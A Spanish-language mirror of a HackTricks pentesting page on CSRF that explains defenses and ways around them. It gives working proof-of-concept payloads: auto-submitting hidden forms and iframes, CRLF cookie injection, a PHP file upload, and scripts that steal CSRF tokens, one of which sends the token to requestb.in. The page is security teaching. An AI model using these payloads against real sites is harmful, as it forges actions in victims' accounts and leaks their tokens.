mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
650 lines
32 KiB
Markdown
650 lines
32 KiB
Markdown
|
# CSRF (Cross Site Request Forgery)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|||
|
|
|||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
|||
|
|
|||
|
🐞 Lee tutoriales de errores web3
|
|||
|
|
|||
|
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
|||
|
|
|||
|
💬 Participa en discusiones comunitarias
|
|||
|
|
|||
|
## ¿Qué es CSRF?
|
|||
|
|
|||
|
**Cross-site request forger**y (también conocido como CSRF) es una vulnerabilidad de seguridad web que permite a un atacante **inducir a los usuarios a realizar acciones que no tienen la intención de realizar**.\
|
|||
|
Esto se hace **haciendo que un usuario conectado** en la plataforma víctima acceda a un sitio web controlado por el atacante y desde allí **ejecute** código JS malicioso, envíe formularios o recupere "imágenes" en la **cuenta de la víctima**.
|
|||
|
|
|||
|
### Requisitos
|
|||
|
|
|||
|
Para poder abusar de una vulnerabilidad CSRF, primero debes **encontrar una acción relevante para abusar** (cambiar la contraseña o el correo electrónico, hacer que la víctima te siga en una red social, darte más privilegios...). La **sesión debe depender solo de cookies o del encabezado de autenticación básica HTTP**, no se puede usar ningún otro encabezado para manejar la sesión. Y finalmente, no debe haber **parámetros impredecibles** en la solicitud.
|
|||
|
|
|||
|
Varias **contramedidas** podrían estar en su lugar para evitar esta vulnerabilidad.
|
|||
|
|
|||
|
### **Defensas comunes**
|
|||
|
|
|||
|
* [**Cookies SameSite**](hacking-with-cookies/#samesite): Si la cookie de sesión está utilizando esta bandera, es posible que no pueda enviar la cookie desde sitios web arbitrarios.
|
|||
|
* [**Compartición de recursos de origen cruzado**](cors-bypass.md): Dependiendo del tipo de solicitud HTTP que necesite realizar para abusar de la acción relevante, puede tener en cuenta la **política CORS del sitio víctima**. _Tenga en cuenta que la política CORS no afectará si solo desea enviar una solicitud GET o una solicitud POST desde un formulario y no necesita leer la respuesta._
|
|||
|
* Pedir al usuario que ingrese la **contraseña** para autorizar la acción.
|
|||
|
* Resolver un **captcha**
|
|||
|
* Leer los encabezados **Referer** u **Origen**. Si se usa una expresión regular, se puede pasar por alto, por ejemplo, con:
|
|||
|
* http://mal.net?orig=http://example.com (termina con la URL)
|
|||
|
* http://example.com.mal.net (comienza con la URL)
|
|||
|
* **Modificar** el **nombre** de los **parámetros** de la solicitud POST o GET
|
|||
|
* Usar un **token CSRF** en cada sesión. Este token debe enviarse dentro de la solicitud para confirmar la acción. Este token podría estar protegido con CORS.
|
|||
|
|
|||
|
### Mapa CSRF
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (112).png>)
|
|||
|
|
|||
|
## Bypass de defensas
|
|||
|
|
|||
|
### De POST a GET
|
|||
|
|
|||
|
Tal vez el formulario que desea abusar está preparado para enviar una **solicitud POST con un token CSRF pero**, debe **verificar** si un **GET** también es **válido** y si cuando envía una solicitud GET, el **token CSRF todavía se está validando**.
|
|||
|
|
|||
|
### Falta de token
|
|||
|
|
|||
|
Algunas aplicaciones **validan correctamente el token cuando está presente pero omiten la validación si se omite el token**.\
|
|||
|
En esta situación, el atacante puede **eliminar todo el parámetro** que contiene el token (no solo su valor) para evitar la validación y realizar un ataque CSRF.
|
|||
|
|
|||
|
### El token CSRF no está vinculado a la sesión del usuario
|
|||
|
|
|||
|
Algunas aplicaciones **no validan que el token pertenezca a la misma sesión** que el usuario que realiza la solicitud. En su lugar, la aplicación **mantiene una piscina global de tokens** que ha emitido y acepta cualquier token que aparezca en esta piscina.\
|
|||
|
En esta situación, el atacante puede iniciar sesión en la aplicación utilizando su propia cuenta, **obtener un token válido** y luego **proporcionar ese token al usuario víctima** en su ataque CSRF.
|
|||
|
|
|||
|
### Bypass de método
|
|||
|
|
|||
|
Si la solicitud está utilizando un **método "extraño"**, verifique si la **funcionalidad de anulación de método** está funcionando.\
|
|||
|
Por ejemplo, si está **usando un método PUT**, puede intentar **usar un método POST** y **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
|||
|
|
|||
|
Esto también podría funcionar enviando el **parámetro \_method dentro de una solicitud POST** o usando los **encabezados**:
|
|||
|
|
|||
|
* _X-HTTP-Method_
|
|||
|
* _X-HTTP-Method-Override_
|
|||
|
* _X-Method-Override_
|
|||
|
|
|||
|
### Bypass de token de encabezado personalizado
|
|||
|
|
|||
|
Si la solicitud está agregando un **encabezado personalizado** con un **token** a la solicitud como **método de protección CSRF**, entonces:
|
|||
|
|
|||
|
* Pruebe la solicitud sin el **Token personalizado y también sin el encabezado**.
|
|||
|
* Pruebe la solicitud con una **longitud exactamente igual pero con un token diferente**.
|
|||
|
|
|||
|
### El token CSRF se verifica mediante una cookie
|
|||
|
|
|||
|
En una variación posterior de la vulnerabilidad anterior, algunas aplicaciones **duplican cada token dentro de una cookie y un parámetro de solicitud**. O **establecen una cookie csrf** y **verifican en el backend si el token csrf enviado es el relacionado con la cookie**.
|
|||
|
|
|||
|
Cuando se valida la solicitud posterior, la aplicación simplemente verifica que el **token** enviado en el **parámetro de solicitud coincide** con el valor almacenado por la **cookie**.\
|
|||
|
En esta situación, el atacante puede nuevamente realizar un ataque CSRF **si el sitio web contiene alguna vulnerabilidad que le permita establecer su cookie CSRF en la víctima como un CRLF**.
|
|||
|
|
|||
|
En este caso, puede establecer la cookie intentando cargar una imagen falsa y luego lanzar el ataque CSRF como en este ejemplo:
|
|||
|
```html
|
|||
|
<html>
|
|||
|
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
|||
|
<body>
|
|||
|
<script>history.pushState('', '', '/')</script>
|
|||
|
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
|
|||
|
<input type="hidden" name="email" value="asd@asd.asd" />
|
|||
|
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
|
|||
|
<input type="submit" value="Submit request" />
|
|||
|
</form>
|
|||
|
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
|
|||
|
</body>
|
|||
|
</html>
|
|||
|
```
|
|||
|
{% hint style="info" %}
|
|||
|
Tenga en cuenta que si el token csrf está relacionado con la cookie de sesión, este ataque no funcionará porque necesitará establecer su sesión como víctima, y por lo tanto, se estará atacando a sí mismo.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
### Cambio de Content-Type
|
|||
|
|
|||
|
Según [**esto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitudes previas** utilizando el método **POST**, estos son los valores de Content-Type permitidos:
|
|||
|
|
|||
|
* **`application/x-www-form-urlencoded`**
|
|||
|
* **`multipart/form-data`**
|
|||
|
* **`text/plain`**
|
|||
|
|
|||
|
Sin embargo, tenga en cuenta que la **lógica del servidor puede variar** según el **Content-Type** utilizado, por lo que debe probar los valores mencionados y otros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
|||
|
|
|||
|
Ejemplo (de [aquí](https://brycec.me/posts/corctf\_2021\_challenges)) de envío de datos JSON como texto plano:
|
|||
|
```html
|
|||
|
<html>
|
|||
|
<body>
|
|||
|
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
|
|||
|
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
|
|||
|
</form>
|
|||
|
<script>
|
|||
|
form.submit();
|
|||
|
</script>
|
|||
|
</body>
|
|||
|
</html>
|
|||
|
```
|
|||
|
### Bypass de solicitud previa de aplicación/json
|
|||
|
|
|||
|
Como ya sabes, no puedes enviar una solicitud POST con el tipo de contenido **`application/json`** a través de un formulario HTML, y si intentas hacerlo a través de **`XMLHttpRequest`**, primero se envía una solicitud **previa**.\
|
|||
|
Sin embargo, podrías intentar enviar los datos JSON utilizando los tipos de contenido **`text/plain` y `application/x-www-form-urlencoded`** solo para comprobar si el backend está utilizando los datos independientemente del tipo de contenido.\
|
|||
|
Puedes enviar un formulario utilizando `Content-Type: text/plain` estableciendo **`enctype="text/plain"`**
|
|||
|
|
|||
|
Si el servidor solo acepta el tipo de contenido "application/json", puedes **enviar el tipo de contenido "text/plain; application/json"** sin activar una solicitud previa.
|
|||
|
|
|||
|
También podrías intentar **burlar** esta restricción utilizando un archivo **SWF flash**. Para obtener más información, [**lee este post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
|||
|
|
|||
|
### Bypass de comprobación de Referrer / Origin
|
|||
|
|
|||
|
**Evita la cabecera Referrer**
|
|||
|
|
|||
|
Algunas aplicaciones validan la cabecera Referer cuando está presente en las solicitudes, pero **omitirán la validación si la cabecera se omite**.
|
|||
|
```markup
|
|||
|
<meta name="referrer" content="never">
|
|||
|
```
|
|||
|
**Bypasses de expresiones regulares**
|
|||
|
|
|||
|
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
|||
|
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
Para establecer el nombre de dominio del servidor en la URL que el Referrer va a enviar dentro de los parámetros, se puede hacer:
|
|||
|
```html
|
|||
|
<html>
|
|||
|
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
|||
|
<head><meta name="referrer" content="unsafe-url"></head>
|
|||
|
<body>
|
|||
|
<script>history.pushState('', '', '/')</script>
|
|||
|
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
|
|||
|
<input type="hidden" name="email" value="asd@asd.asd" />
|
|||
|
<input type="submit" value="Submit request" />
|
|||
|
</form>
|
|||
|
<script>
|
|||
|
// You need to set this or the domain won't appear in the query of the referer header
|
|||
|
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
|
|||
|
document.forms[0].submit();
|
|||
|
</script>
|
|||
|
</body>
|
|||
|
</html>
|
|||
|
```
|
|||
|
***
|
|||
|
|
|||
|
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
|||
|
|
|||
|
🐞 Lee tutoriales sobre errores web3
|
|||
|
|
|||
|
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
|||
|
|
|||
|
💬 Participa en discusiones comunitarias
|
|||
|
|
|||
|
## **Ejemplos de explotación**
|
|||
|
|
|||
|
### **Exfiltración de token CSRF**
|
|||
|
|
|||
|
Si se está utilizando un **token CSRF** como **defensa**, se podría intentar **exfiltrarlo** abusando de una vulnerabilidad [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) o una vulnerabilidad de [**markup colgante**](dangling-markup-html-scriptless-injection.md).
|
|||
|
|
|||
|
### **GET utilizando etiquetas HTML**
|
|||
|
```markup
|
|||
|
<img src="http://google.es?param=VALUE" style="display:none" />
|
|||
|
<h1>404 - Page not found</h1>
|
|||
|
The URL you are requesting is no longer available
|
|||
|
```
|
|||
|
Otras etiquetas HTML5 que se pueden utilizar para enviar automáticamente una solicitud GET son:
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (530).png>)
|
|||
|
|
|||
|
### Solicitud GET de formulario
|
|||
|
```markup
|
|||
|
<html>
|
|||
|
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
|||
|
<body>
|
|||
|
<script>history.pushState('', '', '/')</script>
|
|||
|
<form method="GET" action="https://victim.net/email/change-email">
|
|||
|
<input type="hidden" name="email" value="some@email.com" />
|
|||
|
<input type="submit" value="Submit request" />
|
|||
|
</form>
|
|||
|
<script>
|
|||
|
document.forms[0].submit();
|
|||
|
</script>
|
|||
|
</body>
|
|||
|
</html>
|
|||
|
```
|
|||
|
### Solicitud POST de formulario
|
|||
|
```markup
|
|||
|
<html>
|
|||
|
<body>
|
|||
|
<script>history.pushState('', '', '/')</script>
|
|||
|
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
|
|||
|
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
|
|||
|
<input type="submit" value="Submit request" />
|
|||
|
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
|
|||
|
</form>
|
|||
|
<script>
|
|||
|
document.forms[0].submit(); //Way 3 to autosubmit
|
|||
|
</script>
|
|||
|
</body>
|
|||
|
</html>
|
|||
|
```
|
|||
|
### Petición POST de formulario a través de iframe
|
|||
|
```markup
|
|||
|
<!--
|
|||
|
The request is sent through the iframe withuot reloading the page
|
|||
|
-->
|
|||
|
<html>
|
|||
|
<body>
|
|||
|
<iframe style="display:none" name="csrfframe"></iframe>
|
|||
|
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
|
|||
|
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
|
|||
|
<input type="submit" value="Submit request" />
|
|||
|
</form>
|
|||
|
<script>
|
|||
|
document.forms[0].submit();
|
|||
|
</script>
|
|||
|
</body>
|
|||
|
</html>
|
|||
|
```
|
|||
|
### **Petición POST de Ajax**
|
|||
|
|
|||
|
La técnica de CSRF también puede ser explotada mediante una petición POST de Ajax. En este caso, el atacante puede crear una página web maliciosa que realice una petición POST de Ajax a una URL vulnerable en el sitio web de la víctima. La petición POST puede incluir cualquier parámetro que el atacante desee enviar al servidor, incluyendo cookies de autenticación.
|
|||
|
|
|||
|
Para explotar esta técnica, el atacante debe engañar a la víctima para que visite la página web maliciosa. Una vez que la víctima visita la página, la petición POST de Ajax se envía automáticamente al servidor vulnerable sin que la víctima se dé cuenta.
|
|||
|
|
|||
|
Para prevenir este tipo de ataques, se recomienda utilizar tokens CSRF en todas las peticiones POST de Ajax.
|
|||
|
```markup
|
|||
|
<script>
|
|||
|
var xh;
|
|||
|
if (window.XMLHttpRequest)
|
|||
|
{// code for IE7+, Firefox, Chrome, Opera, Safari
|
|||
|
xh=new XMLHttpRequest();
|
|||
|
}
|
|||
|
else
|
|||
|
{// code for IE6, IE5
|
|||
|
xh=new ActiveXObject("Microsoft.XMLHTTP");
|
|||
|
}
|
|||
|
xh.withCredentials = true;
|
|||
|
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
|
|||
|
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
|
|||
|
xh.send("username=abcd&status=on");
|
|||
|
</script>
|
|||
|
|
|||
|
<script>
|
|||
|
//JQuery version
|
|||
|
$.ajax({
|
|||
|
type: "POST",
|
|||
|
url: "https://google.com",
|
|||
|
data: "param=value¶m2=value2"
|
|||
|
})
|
|||
|
</script>
|
|||
|
```
|
|||
|
### solicitud POST multipart/form-data
|
|||
|
```javascript
|
|||
|
myFormData = new FormData();
|
|||
|
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
|
|||
|
myFormData.append("newAttachment", blob, "pwned.php");
|
|||
|
fetch("http://example/some/path", {
|
|||
|
method: "post",
|
|||
|
body: myFormData,
|
|||
|
credentials: "include",
|
|||
|
headers: {"Content-Type": "application/x-www-form-urlencoded"},
|
|||
|
mode: "no-cors"
|
|||
|
});
|
|||
|
```
|
|||
|
### solicitud POST multipart/form-data v2
|
|||
|
```javascript
|
|||
|
var fileSize = fileData.length,
|
|||
|
boundary = "OWNEDBYOFFSEC",
|
|||
|
xhr = new XMLHttpRequest();
|
|||
|
xhr.withCredentials = true;
|
|||
|
xhr.open("POST", url, true);
|
|||
|
// MIME POST request.
|
|||
|
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
|
|||
|
xhr.setRequestHeader("Content-Length", fileSize);
|
|||
|
var body = "--" + boundary + "\r\n";
|
|||
|
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
|
|||
|
body += "Content-Type: " + ctype + "\r\n\r\n";
|
|||
|
body += fileData + "\r\n";
|
|||
|
body += "--" + boundary + "--";
|
|||
|
|
|||
|
//xhr.send(body);
|
|||
|
xhr.sendAsBinary(body);
|
|||
|
```
|
|||
|
### Petición POST de formulario desde un iframe
|
|||
|
```markup
|
|||
|
<--! expl.html -->
|
|||
|
|
|||
|
<body onload="envia()">
|
|||
|
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
|
|||
|
<input type="text" id="pwd" name="pwd" value="otra nueva">
|
|||
|
</form>
|
|||
|
<body>
|
|||
|
<script>
|
|||
|
function envia(){document.getElementById("formulario").submit();}
|
|||
|
</script>
|
|||
|
|
|||
|
<!-- public.html -->
|
|||
|
<iframe src="2-1.html" style="position:absolute;top:-5000">
|
|||
|
</iframe>
|
|||
|
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
|||
|
```
|
|||
|
### **Robar el token CSRF y enviar una solicitud POST**
|
|||
|
|
|||
|
Una técnica común de CSRF es robar el token CSRF de la víctima y enviar una solicitud POST con el token robado. Para robar el token CSRF, el atacante puede utilizar técnicas como XSS o ingeniería social. Una vez que el atacante tiene el token CSRF, puede enviar una solicitud POST a la aplicación web utilizando el token robado para realizar acciones maliciosas en nombre de la víctima. Es importante tener en cuenta que esta técnica solo funciona si la aplicación web no valida la fuente de la solicitud POST.
|
|||
|
```javascript
|
|||
|
function submitFormWithTokenJS(token) {
|
|||
|
var xhr = new XMLHttpRequest();
|
|||
|
xhr.open("POST", POST_URL, true);
|
|||
|
xhr.withCredentials = true;
|
|||
|
|
|||
|
// Send the proper header information along with the request
|
|||
|
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
|||
|
|
|||
|
// This is for debugging and can be removed
|
|||
|
xhr.onreadystatechange = function() {
|
|||
|
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
|||
|
//console.log(xhr.responseText);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
xhr.send("token=" + token + "&otherparama=heyyyy");
|
|||
|
}
|
|||
|
|
|||
|
function getTokenJS() {
|
|||
|
var xhr = new XMLHttpRequest();
|
|||
|
// This tels it to return it as a HTML document
|
|||
|
xhr.responseType = "document";
|
|||
|
xhr.withCredentials = true;
|
|||
|
// true on the end of here makes the call asynchronous
|
|||
|
xhr.open("GET", GET_URL, true);
|
|||
|
xhr.onload = function (e) {
|
|||
|
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
|||
|
// Get the document from the response
|
|||
|
page = xhr.response
|
|||
|
// Get the input element
|
|||
|
input = page.getElementById("token");
|
|||
|
// Show the token
|
|||
|
//console.log("The token is: " + input.value);
|
|||
|
// Use the token to submit the form
|
|||
|
submitFormWithTokenJS(input.value);
|
|||
|
}
|
|||
|
};
|
|||
|
// Make the request
|
|||
|
xhr.send(null);
|
|||
|
}
|
|||
|
|
|||
|
var GET_URL="http://google.com?param=VALUE"
|
|||
|
var POST_URL="http://google.com?param=VALUE"
|
|||
|
getTokenJS();
|
|||
|
```
|
|||
|
### **Robar el token CSRF y enviar una solicitud Post usando un iframe, un formulario y Ajax**
|
|||
|
|
|||
|
Para llevar a cabo un ataque CSRF, es necesario obtener el token CSRF de la víctima. Una vez que se tiene el token, se puede enviar una solicitud Post falsificada para realizar acciones maliciosas en nombre de la víctima.
|
|||
|
|
|||
|
Una forma de obtener el token CSRF es mediante un ataque de tipo Cross-Site Scripting (XSS). Si se logra inyectar código malicioso en una página web, se puede utilizar un script para extraer el token CSRF de la página y enviarlo a un servidor controlado por el atacante.
|
|||
|
|
|||
|
Una vez que se tiene el token CSRF, se puede enviar una solicitud Post falsificada utilizando un iframe, un formulario o Ajax. En el caso de un iframe, se puede ocultar el iframe en la página web y enviar la solicitud Post sin que la víctima se dé cuenta. En el caso de un formulario, se puede crear un formulario oculto y enviar la solicitud Post automáticamente utilizando JavaScript. En el caso de Ajax, se puede enviar la solicitud Post utilizando JavaScript sin necesidad de recargar la página.
|
|||
|
|
|||
|
Es importante tener en cuenta que algunos sitios web utilizan medidas de protección contra ataques CSRF, como la inclusión de tokens CSRF en formularios y solicitudes Post. En estos casos, el atacante tendría que encontrar una forma de obtener el token CSRF de la víctima antes de poder llevar a cabo el ataque.
|
|||
|
```markup
|
|||
|
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
|||
|
<input type="text" name="username" value="AA">
|
|||
|
<input type="checkbox" name="status" checked="checked">
|
|||
|
<input id="token" type="hidden" name="token" value="" />
|
|||
|
</form>
|
|||
|
|
|||
|
<script type="text/javascript">
|
|||
|
function f1(){
|
|||
|
x1=document.getElementById("i1");
|
|||
|
x1d=(x1.contentWindow||x1.contentDocument);
|
|||
|
t=x1d.document.getElementById("token").value;
|
|||
|
|
|||
|
document.getElementById("token").value=t;
|
|||
|
document.getElementById("form1").submit();
|
|||
|
}
|
|||
|
</script>
|
|||
|
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
|
|||
|
```
|
|||
|
### **Robar el token CSRF y enviar una petición POST usando un iframe y un formulario**
|
|||
|
|
|||
|
Para llevar a cabo un ataque CSRF, es necesario obtener el token CSRF de la víctima. Una forma de hacerlo es mediante un ataque de tipo XSS que permita robar el token. Una vez obtenido el token, se puede enviar una petición POST utilizando un iframe y un formulario.
|
|||
|
|
|||
|
El siguiente código muestra cómo se puede hacer esto:
|
|||
|
|
|||
|
```html
|
|||
|
<iframe style="display:none" name="csrf-frame"></iframe>
|
|||
|
<form action="https://example.com/transfer" method="POST" target="csrf-frame">
|
|||
|
<input type="hidden" name="amount" value="1000">
|
|||
|
<input type="hidden" name="to" value="attacker-account">
|
|||
|
<input type="hidden" name="csrf_token" value="victim-csrf-token">
|
|||
|
<input type="submit" value="Transfer">
|
|||
|
</form>
|
|||
|
```
|
|||
|
|
|||
|
En este ejemplo, se crea un iframe oculto y un formulario que envía una petición POST a `https://example.com/transfer`. El formulario incluye los parámetros necesarios para realizar una transferencia de 1000 unidades a la cuenta del atacante. Además, se incluye el token CSRF robado de la víctima en el campo `csrf_token`.
|
|||
|
|
|||
|
Cuando la víctima visita una página maliciosa que incluye este código, se enviará automáticamente una petición POST a `https://example.com/transfer` con los parámetros especificados. Como la petición se envía desde el navegador de la víctima, el servidor la considerará legítima y realizará la transferencia.
|
|||
|
|
|||
|
Es importante destacar que este tipo de ataque solo funciona si la víctima está autenticada en el sitio web objetivo y tiene permisos para realizar la acción que se está realizando. Además, el sitio web objetivo debe tener una vulnerabilidad CSRF que permita enviar peticiones desde un dominio diferente.
|
|||
|
```markup
|
|||
|
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
|||
|
|
|||
|
<script>
|
|||
|
function read()
|
|||
|
{
|
|||
|
var name = 'admin2';
|
|||
|
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
|
|||
|
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
|
|||
|
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
|
|||
|
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
|
|||
|
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
|
|||
|
document.writeln('</form>');
|
|||
|
document.forms[0].submit.click();
|
|||
|
}
|
|||
|
</script>
|
|||
|
```
|
|||
|
### **Robar token y enviarlo usando 2 iframes**
|
|||
|
|
|||
|
Este ataque consiste en robar el token de autenticación de un usuario y enviarlo a un servidor controlado por el atacante utilizando dos iframes. El primer iframe se carga en una pestaña oculta y realiza una solicitud GET al sitio web objetivo para obtener el token. Luego, el segundo iframe se carga en otra pestaña oculta y realiza una solicitud POST al servidor controlado por el atacante, enviando el token robado como parte de la solicitud.
|
|||
|
|
|||
|
Este ataque es particularmente efectivo en sitios web que no implementan medidas de protección contra CSRF, ya que permite al atacante realizar acciones en nombre del usuario sin su conocimiento o consentimiento.
|
|||
|
```markup
|
|||
|
<script>
|
|||
|
var token;
|
|||
|
function readframe1(){
|
|||
|
token = frame1.document.getElementById("profile").token.value;
|
|||
|
document.getElementById("bypass").token.value = token
|
|||
|
loadframe2();
|
|||
|
}
|
|||
|
function loadframe2(){
|
|||
|
var test = document.getElementbyId("frame2");
|
|||
|
test.src = "http://requestb.in/1g6asbg1?token="+token;
|
|||
|
}
|
|||
|
</script>
|
|||
|
|
|||
|
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
|
|||
|
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
|||
|
height="600" width="800"></iframe>
|
|||
|
|
|||
|
<iframe id="frame2" name="frame2"
|
|||
|
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
|||
|
height="600" width="800"></iframe>
|
|||
|
<body onload="document.forms[0].submit()">
|
|||
|
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
|
|||
|
<input type="text" name="username" value="z">
|
|||
|
<input type="checkbox" name="status" checked="">
|
|||
|
<input id="token" type="hidden" name="token" value="0000" />
|
|||
|
<button type="submit">Submit</button>
|
|||
|
</form>
|
|||
|
```
|
|||
|
### **POSTSteal CSRF token con Ajax y enviar un post con un formulario**
|
|||
|
|
|||
|
En algunos casos, el token CSRF se puede obtener a través de una solicitud Ajax y luego se puede enviar una solicitud POST con un formulario utilizando el token obtenido. Este método es útil cuando el token CSRF no se encuentra en el código fuente de la página y no se puede extraer mediante técnicas de scraping.
|
|||
|
|
|||
|
Para obtener el token CSRF a través de una solicitud Ajax, se puede utilizar el siguiente código JavaScript:
|
|||
|
|
|||
|
```javascript
|
|||
|
var xhr = new XMLHttpRequest();
|
|||
|
xhr.open('GET', '/path/to/page/with/token', true);
|
|||
|
xhr.onreadystatechange = function() {
|
|||
|
if (xhr.readyState == 4 && xhr.status == 200) {
|
|||
|
var parser = new DOMParser();
|
|||
|
var doc = parser.parseFromString(xhr.responseText, "text/html");
|
|||
|
var csrf_token = doc.getElementsByName('csrf_token')[0].value;
|
|||
|
// Send POST request with form
|
|||
|
}
|
|||
|
};
|
|||
|
xhr.send();
|
|||
|
```
|
|||
|
|
|||
|
Este código envía una solicitud GET a la página que contiene el token CSRF y luego analiza la respuesta para extraer el valor del token. Una vez que se ha obtenido el token, se puede enviar una solicitud POST con un formulario utilizando el token obtenido.
|
|||
|
|
|||
|
```javascript
|
|||
|
var xhr = new XMLHttpRequest();
|
|||
|
xhr.open('POST', '/path/to/post', true);
|
|||
|
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
|
|||
|
xhr.onreadystatechange = function() {
|
|||
|
if (xhr.readyState == 4 && xhr.status == 200) {
|
|||
|
// Handle response
|
|||
|
}
|
|||
|
};
|
|||
|
var params = 'param1=value1¶m2=value2&csrf_token=' + csrf_token;
|
|||
|
xhr.send(params);
|
|||
|
```
|
|||
|
|
|||
|
Este código envía una solicitud POST con un formulario que contiene los parámetros necesarios y el token CSRF obtenido.
|
|||
|
```markup
|
|||
|
<body onload="getData()">
|
|||
|
|
|||
|
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
|
|||
|
<input type="hidden" name="username" value="root"/>
|
|||
|
<input type="hidden" name="status" value="on"/>
|
|||
|
<input type="hidden" id="findtoken" name="token" value=""/>
|
|||
|
<input type="submit" value="valider"/>
|
|||
|
</form>
|
|||
|
|
|||
|
<script>
|
|||
|
var x = new XMLHttpRequest();
|
|||
|
function getData() {
|
|||
|
x.withCredentials = true;
|
|||
|
x.open("GET","http://google.com?param=VALUE",true);
|
|||
|
x.send(null);
|
|||
|
}
|
|||
|
